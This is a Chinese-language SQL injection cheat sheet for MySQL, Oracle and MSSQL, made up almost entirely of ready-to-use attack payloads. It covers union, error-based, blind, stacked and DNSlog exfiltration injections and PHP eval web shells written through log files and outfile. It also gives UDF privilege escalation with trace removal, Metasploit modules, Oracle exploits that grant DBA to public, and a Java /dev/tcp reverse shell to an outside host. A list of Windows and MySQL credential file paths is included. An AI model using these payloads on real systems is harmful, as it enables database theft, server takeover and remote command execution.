当前用户 SELECT user() -
- SELECT system_user() -
用户权限 SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges #用户权限
- SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges #数据库权限
- SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges #字段的权限
列出DBA账户 SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ -
选择第N行 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 #行从0开始编号
- SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 #行从0开始编号
选择第N个字符 SELECT substr(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT char(65) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT CONCAT(‘A’,‘B’) #返回AB
- SELECT CONCAT(‘A’,‘B’,‘C’) #返回ABC
时间睡眠 SELECT BENCHMARK(1000000,MD5(‘A’)) -
- SELECT SLEEP(5) #版本>= 5.0.12
联合注入的各种手法
1. 普通手法
union select 1,2,3,database()+
2. 一次性出所有数据
	1. 出表
	union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
	2. 出列
	union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
	#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
	?id=0' union select 1,2,3,group_concat(password) from users --+
	#group_concat 可替换为 concat_ws(‘,’,id,users,password )

3. 逐个出
?id=0' union select 1,2,3,password from users limit 0,1+
mysql报错注入的各种手法
所有的查询语句都是:select user()

==================================典型首选
爆库:?id=1and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1)+
爆表:?id=1and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema=‘security’ limit 3,1),1)+
爆字段:?id=1and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1)+
爆数据:?id=1and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1)+
==================================其余替换
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
布尔盲注
Left判断

?id=1' and left(database(),1)='s' --+

?id=1' and left(database(),2) > 'sa' --+

Like语句判断

?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+

Ascii语句判断

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+
时间盲注
sleep() BENCHMARK() 笛卡尔积(不建议使用)

这一块不进行手注
只进行验证注入,如上文的验证存在时间盲注就可以直接跑sqlmap这样了
这里主要是对sleep进行替换,因为有时存在过滤。
堆叠注入
?id=1' order by 3%23

?id=1';show tables%23

?id=-1';show columns from 1919810931114514%23

?id=1'; insert into users(id,username,password) values(88,'aaa','bbb')#
dnslog注入

dnslog可以很优秀的解决盲注缓慢高流量的特性,是我很喜欢用的方法。

但是最好自己搭建一个dnslog平台,因为基本上所有的waf都把常用的dnslog平台ban了。

?id=1' and (select load_file(concat('\\',(select hex(user())),'.http://682y4b.dnslog.cn/abc'))) --+

?id=1' and (select load_file(concat('\\',(select database()),'.http://682y4b.dnslog.cn/abc'))) --+
拿shell

拿shell这一个部分对于mysql来说,基本上都需要知道网站的根路径,或者需要一些低版本的配合,所以getshell的重点就是掌握getshell方法以及获取网站绝对路径的方法。然后我们将情况分为无法登陆(仅有注入),和可以获得登陆(信息泄露也好,注入爆出了密码也好等等)
对于可以获得密码的情况很简单,mdut直接去搞就ok
在这里插入图片描述查信息的话navicat就可以了,所以我们下面主要来分析无法获取密码的情况。当然了,获得了数据库的信息,我们的目光不应该仅仅限于从数据库的角度去攻击,数据库其中的信息,站库分离的情况,能否覆写web密码等等,都是需要进行查找的,同时我推荐一些提取数据库信息的工具,很好用,但是这里篇幅有限,只写sql注入的一些东西。

获取绝对路径

对于windows的路径,我们再利用的时候要注意转义

C:\\phpstudy\\WWW\\muma.php
  1. 直接查询
    这种方法比较理想,但是前提条件是站库合一的站,对于站库分离的无效。
python3 sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell select @@datadir

show variables like '%datadir%';
或者
select @@basedir;
  1. 网页报错信息
    有一些网站报错就会出现绝对路径,这个看运气。有时候打出一些畸形符号就可以,比如传参的地方整点引号书名号啥的。

  2. 默认\框架默认路径
    个人认为这种情况最多,因为框架使用的多,然后很多都是默认路径,就算不是,那也相对于自开的要好猜一点

Windows配置文件:
c:\windows\php.ini //php配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS虚拟主机配置文件

Linux配置文件:
/etc/php.ini //php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf  //Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf//虚拟目录配置文件

  

XAMPP配置文件:
Xampp文件路径
C:\xampp\htdocs
 
httpd.com配置文件
C:\xampp\apache\conf/httpd.conf
 
vhosts.conf虚拟主机
C:\xampp\apache\onf\extra\httpd-vhosts.conf

  

phpnow配置文件:
网站默认路径
D:\PHPnow-1.5.6\htdocs
 
httpd.conf配置文件
D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf
 
vhosts.conf虚拟主机
D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf

  

phpstudy配置文件:
网站默认路径
C:\phpstudy\www
 
httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf
 
vhosts.conf虚拟主机
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf

  

LAMPP配置文件:
	
网站默认路径
/opt/lampp/htdocs
 
httpd.conf配置文件
/opt/lampp/etc/httpd.conf
 
vhosts.conf虚拟主机
/opt/lampp/etc/extra/httpd-vhosts.conf

phpmyadmin有一个爆绝对路径的洞
/phpmyadmin/themes/darkblue_orange/layout.inc.php
其他的框架也有。

c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  1. 搜索引擎
    类似这样去搜搜,结合上site这样子的去缩小范围,可能有意外的收获。
inurl:phpinfo.php
site:xxx.com  "fatal error"

在这里插入图片描述

写入日志

要求:

MySQL版本大于5.0

  1. 查看是否打开日志
SHOW VARIABLES LIKE '%general%'
  1. 没开的话开启
set global general_log = "ON";
  1. 设置日志保存路径为可访问网站根路径
set global general_log_file ='C:/InstalledSoftware/phpstudy_pro/WWW/58/public/config.php';
  1. 设置输出类型
set global log output= 'file'; 设置输出类型为file
  1. 写入
select "<?php @eval($_POST[abc]); ?>";
慢查询写入

要求:

MySQL版本大于5.0

show global variables like '%long_query_time%'  //默认10set global long_query_time = 9; //设置慢查询为91.设置slow_query_log=1.即启用慢查询日志(默认禁用)set global slow_query_log = 1;

2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名
set global slow_query_log_file='D:\\phpstudy_pro\\WWW\\1.php';  
show variables like'%slow_query_log%';  //查询是否设置成功

3.向日志文件写入shell
select '<?= phpinfo(); ?>' or sleep(11) //这里可以用一个等号代替php,这是php的一个特性
//注意这里的11秒根据实际情况而定,也就是根据上面所说的慢查询的时间
outfile\dumpfile写入

前提:

root权限
secure_file_priv没有具体值,通俗来说,也就是mysql5.6.34以下的版本

注:

一般来说,outfile比dumpfile好,如果out被ban,可以使用dumpfile,但是要加上limit来读取其它行(因为dumpfile只能读一行)

  1. 查看secure_file_priv 参数
    show global variables like ‘%secure%’;

  2. 写入直接

select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'

3c3f70687020a6576616c28245f504f53545b615d293ba3f3e是一句话的16进制

在这里插入图片描述

udf

要求:

1.secure_file_priv 无值 plugin 目录可写
2.用户是root,或者root权限
3.可以自定义函数(my.ini中的skip-grant-tables选项注释掉。)

不同版本的不同方法:

MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
例如:C:\phpstudy\MySQL\lib\plugin\

获取信息

1. 查看能否远程登录
select user,host from user;
如果能远程登录,想办法读到密码然后直接msf去搞

2. 查看写入权限
show global variables like 'secure%'
需要为无具体值

3. 查看数据库版本
select version();

4. 查看系统架构
show variables like '%compile%';
或者
select @@version_compile_os;

5. 查看plugin路径
show variables like 'plugin_dir';

C:\phpstudy\MySQL\lib\plugin\
有时即使上面显示了路径但系统却没有这个文件夹,若没有文件夹,后面生成文件的时候会报错。

5. 生成plugin目录(存在就不用管)
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录

6. udf文件获取
sqlmap udf提权可用的dll文件在/data/udf/mysql 下,注意根据show variables like '%compile%';选取对应的系统文件,
需要采用/extra/cloak.py进行解码操作

python .\cloak.py -d -i ../data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o mysqludf.dll

7. 创建表
create table udftmp (c blob)

8. 上传dll文件
使用winHex工具打开刚才生成的文件,ctrl+a全选
ctrl+R修改成十六进制,开头别忘了加0x

9. 传入内容-》表(这一步最好用navicat)
insert into udftmp values(convert(16进制内容)10. 写入到文件中
select c from udftmp into dumpfile '路径\\plugin\\udf.dll';

11. 创建自定义函数shell
CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll';

12. 执行命令
select shell('cmd','whoami');#直接是启动mysql用户的权限

13. 清除痕迹
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数
msf
1. udf提权
msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0或者exploit

2. msf启动项提权
use exploit/windows/mysql/mysql_start_up
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run
oracle
查询命令
释义 SQL语句 其他
当前数据库 SELECT global_name FROM global_name
- SELECT name FROM v$database
- SELECT instance_name FROM v$instance
- SELECT SYS.DATABASE_NAME FROM DUAL
所有数据库 SELECT DISTINCT owner FROM all_tables
查询表名 SELECT table_name FROM all_tables
- SELECT owner, table_name FROM all_tables
查询列名 SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’
- SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’
获取版本 SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’
- SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’
- SELECT version FROM v$instance
当前用户 SELECT user FROM dual
用户权限 SELECT * FROM session_privs #当前权限
- SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ #列出用户的权限
列出DBA账户 SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’
选择第N行 SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 #第九行
选择第N个字符 SELECT substr(‘abcd’, 3, 1) FROM dual #第3个字符c
ASCII值-字符 SELECT chr(65) FROM dual #返回A
字符-ASCII值 SELECT ascii(‘A’) FROM dual #返回65
字符串连接 SELECT ‘A’ |‘B’ FROM dual #返回AB
时间睡眠 SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual #如果反向查询很慢
- SELECT UTL_INADDR.get_host_address(‘http://blah.attacker.com’) FROM dual #如果正向查询很慢
联合注入
order by 3--

and 1=2 union select null,null,null from dual--

and 1=2 union select 'null',null,null from dual-- //返回正常,则第一个字段是数字型,返回错误,为字符型

and 1=2 union select 1,'2','3' from dual-- //判断显示位

and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探测数据库版本信息

and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查询第一个表名

and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual-- //第二个表名

获取关键表中的列名:

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual -- 
//获取T_USER表中第一个列的名称(由于rownum=1的条件)。

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual -- 
//获取T_USER表中第一个不是'SUSER'的列名称。

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//获取T_USER表中第一个既不是'SUSER'也不是'SPWD'的列名称。

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --
//获取T_USER表中第一个既不是'SUSER''SPWD'也不是'SNAME'的列名称。

and 1=2 union select SNAME,SUSER,SPWD from T_USER where id=1-- //查看数据
报错注入
利用 utl_inaddr.get_host_name
这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,当前数据库用户必须有网络访问权限。
jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual)) --

ctxsys.drithsx.sn()
jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

dbms_xdb_version.checkin()
jsp?name=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null—

dbms_utility.sqlid_to_sqlhash()
jsp?name=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

XMLType()
sname=1and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
布尔盲注
既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,1,返回值1,2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下:

IF 条件=1 THEN
    RETURN(返回值1)
ELSIF 条件=2 THEN
    RETURN(返回值2)
    …
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF
?id=1and 1=(select decode(user,‘SYSTEM’,1,0,0) from dual)–
?id=1and 1=(select decode(substr(user,1,1),‘S’,1,0,0) from dual)–
?id=1and ascii(substr(user,1,1))> 64-- #二分法
时间盲注
主要用DBMS_PIPE.RECEIVE_MESSAGE
即user的第一位是"A"时,延时5秒执行。
And 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual)

第二位是D时,延时5秒
And 1=(select decode(substr(user,2,1),'D',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual)

news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual)
getshell-可获得密码方法

在这里插入图片描述对于可以获得密码的情况,我们可以直接用mdut和这款专门的工具,我们先说如何获取sid以及用户名账号密码

需要以下几个参数
IP,PORT,SID,用户名,密码

查询SID:select instance_name from v$instance
查询当前IP:select sys_context('userenv','ip_address') from dual
端口就nmap啥的前期信息收集应该都到位了,默认是1521
账号密码:sqlmap的--passwords
getshell-DBMS_EXPORT_EXTENSION()(首先尝试)

Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)

以下均为查询语句,如果在注入中使用需要去除末尾分号。
举例如下

http://www.iswin.org/oracle.jsp?name=' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--
1. 10g 赋予public用户DBA权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual;

2. 10g/11g 开启java代码权限,执行命令
	1.创建java库 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual;
	2.赋予java权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;
	3. 创建函数 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual;
	4. 赋予函数执行权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual;
	5. 执行命令 select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual;
getshell- dbms_xmlquery.newcontext()

Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)并且要求DBMS_EXPORT_EXTENSION()存在漏洞。

1. 创建java包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2. 查看当前用户
select user from dual;//此处为YY用户,在下面的步骤要替换


3. 赋予当前用户java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;
或
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
或
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''grant javauserpriv to YY''commit;end;') from dual;
或
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''grant javasyspriv to YY''commit;end;') from dual;
或
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;

4. 查看是否成功赋权
select * from user_java_policy where grantee_name='YY';

5.  创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

6. 判断是否创建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';

7. 执行
select LinxRunCMD('id') from dual;
getshell-DBMS_JAVA_TEST.FUNCALL()

影响版本: 10g R2, 11g R1, 11g R2 权限:Java Permissions.

1. 直接执行(无回显,会报错,所以用于dnslog等来判断)
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;
getshell-组合利用反弹shell
1. 准备反弹代码(windows下自行修改),这一段是要放入下方payload的
import java.io.*;
import java.net.*;
public class shellRev
{
   
        public static void main(String[] args)
        {
   
                System.out.println(1);
                try{
   run();}
                catch(Exception e){
   }
        }
public static void run() throws Exception
        {
   
                String[] aaa={
   "/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
                Process p=Runtime.getRuntime().exec(aaa);
	}
}


2. 创建java代码
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual;
3. 赋予java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual;
4. 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual;
5. 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
6. 反弹shell
select sys.reversetcp from dual;
mssql
查询命令
|释义|SQL语句|其他|
|-|-|-|
|当前数据库|SELECT DB_NAME()|-|
|所有数据库|SELECT name FROM master…sysdatabases|-|
|-|SELECT DB_NAME(N)|#N为0,1,2,…|
|查询表名|SELECT name FROM master…sysobjects WHERE xtype = ‘U’|-|
|-|SELECT name FROM someotherdb…sysobjects WHERE xtype = ‘U’|-|
|查询列名|SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’)|#当前数据库|
|-|SELECT master…syscolumns.name, TYPE_NAME(master…syscolumns.xtype) FROM master…syscolumns, master…sysobjects WHERE master…syscolumns.id=master…sysobjects.id AND master…sysobjects.name=‘sometable’|#列出master…sometable的列名称|
|获取版本|SELECT @@version|-|
|当前用户|SELECT user_name()|-|
|-|SELECT system_user|-|
|-|SELECT user|-|
|用户权限|SELECT permission_name FROM master…fn_my_permissions(null,‘DATABASE’)|#当前数据库权限|
|-|SELECT is_srvrolemember(‘sysadmin’)|#当前用户权限|
|列出DBA账户|SELECT is_srvrolemember(‘sysadmin’)|#当前用户是否是管理员,是则返回1|
|选择第N行|SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master…syslogins ORDER BY name ASC) sq ORDER BY name DESC|#返回第九行|
|选择第N个字符|SELECT substring(‘abcd’, 3, 1)|#返回c|
|ASCII值-字符|SELECT char(0×41)|#返回A|
|字符-ASCII值|SELECT ascii(‘A’)|#返回65|
|字符串连接|SELECT ‘A’ + ‘B’|#返回AB|
|时间睡眠|WAITFOR DELAY ‘0:0:5|#睡眠5秒|

> 以及一些其他的常用的

```python
1. 判断权限
判断是否是SA权限(数据库操作、文件管理、命令执行、注册表读取)
select is_srvrolemember('sysadmin')

判断是否是db_owner权限 (数据库操作、文件管理)
select is_member('db_owner')

判断是否是public权限 (数据库操作)
select is_srvrolemember('public')

附上payload:
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
EXEC master.sys.xp_dirtree '\192.168.106.5\xx.txt',0,1;
联合注入
?id=-1’ union select null,null– //递增null
?id=-1’ union select @@servername, @@version–
//检索数据库服务器的名称(@@servername)和数据库的版本(@@version)。

?id=-1’ union select db_name(),suser_sname()//获取当前数据库的名称(db_name())和当前安全上下文的登录名(suser_sname())。


?id=-1’ union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null–
//查询排除在前六个数据库之外的下一个数据库的名称。sys.databases视图包含了数据库实例中所有数据库的信息。


?id=-1’ union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databases)),null–
//类似于上一个查询,但是这次是排除前七个数据库名称,检索下一个数据库的名称。


?id=-1’ union select (select top 1 table_name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null–
//从information_schema.tables检索当前数据库中的第一个表的名称。


?id=-1’ union select (select top 1 column_name from information_schema.columns where table_name=‘users’ and column_name not in (select top 1 column_name from information_schema.columns where table_name = ‘users’)),null–
//此查询尝试获取users表中的第1个列名称。


